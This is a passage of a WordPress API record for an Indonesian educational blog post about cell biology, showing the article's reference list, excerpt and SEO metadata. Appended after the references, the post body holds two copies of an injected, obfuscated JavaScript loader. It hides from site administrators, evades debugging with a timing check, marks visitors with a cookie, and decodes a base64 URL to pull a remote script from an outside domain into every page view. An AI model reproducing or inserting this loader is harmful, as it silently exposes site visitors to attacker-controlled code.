href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p><strong>Referensi:\u00a0<\/strong><\/p>\n<p><span style=\"font-weight: 400;\">Cicik, S. Modul Belajar Mandiri Biologi [Daring]. Tautan: https:\/\/cdn-gbelajar.simpkb.id\/s3\/p3k\/Biologi\/Perpembelajaran\/BIOLOGI-PB1.pdf. Diakses 19 Juli 2025.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Khoirul, H. 2020. Struktur dan Fungsi Sel [Daring]. Tautan: https:\/\/repositori.kemendikdasmen.go.id\/22015\/1\/XI_Biologi_KD-3.1_Final.pdf. Diakses 19 Juli 2025.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sukadiono, dkk. 2023. Buku Ajar Biologi Sel [Daring]. Tautan: https:\/\/repository.um-surabaya.ac.id\/9094\/1\/25.%20B%20Ajar_Biologi%20Sel.pdf. Diakses 19 Juli 2025.<\/span><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini! \u2014 Semua makhluk hidup, termasuk manusia, hewan, dan tumbuhan, memiliki satu kesamaan dasar, yaitu seluruh tubuhnya tersusun atas sel. Tapi, sebenarnya apa itu sel? Sel adalah unit terkecil penyusun kehidupan yang [&hellip;]<\/p>\n","protected":false},"author":43,"featured_media":1600,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_last":["1"],"_edit_lock":["1754378292:1"],"_aioseo_title":[null],"_aioseo_description":["Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png"],"_linker_next_update":["1769393476"],"_yoast_wpseo_metadesc":["Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!"]},"categories":[1],"tags":[],"class_list":["post-1600","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya<\/title>\n<meta name=\"description\" content=\"Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya\" \/>\n<meta property=\"og:description\" content=\"Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-05T02:00:24+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:25:20+00:00\" \/>\n<meta name=\"author\" content=\"Devi Lianovanda\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Devi Lianovanda\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel\",\"name\":\"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png\",\"datePublished\":\"2025-08-05T02:00:24+00:00\",\"dateModified\":\"2026-01-19T23:25:20+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\"},\"description\":\"Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\",\"name\":\"Devi Lianovanda\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"caption\":\"Devi Lianovanda\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya","description":"Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel","og_locale":"en_US","og_type":"article","og_title":"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya","og_description":"Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-08-05T02:00:24+00:00","article_modified_time":"2026-01-19T23:25:20+00:00","author":"Devi Lianovanda","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Devi Lianovanda","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel","url":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel","name":"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png","datePublished":"2025-08-05T02:00:24+00:00","dateModified":"2026-01-19T23:25:20+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac"},"description":"Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac","name":"Devi Lianovanda","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","caption":"Devi Lianovanda"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1600","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/43"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1600"}],"version-history":[{"count":3,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1600\/revisions"}],"predecessor-version":[{"id":1923,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1600\/revisions\/1923"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1600"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1600"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1600"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1600"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}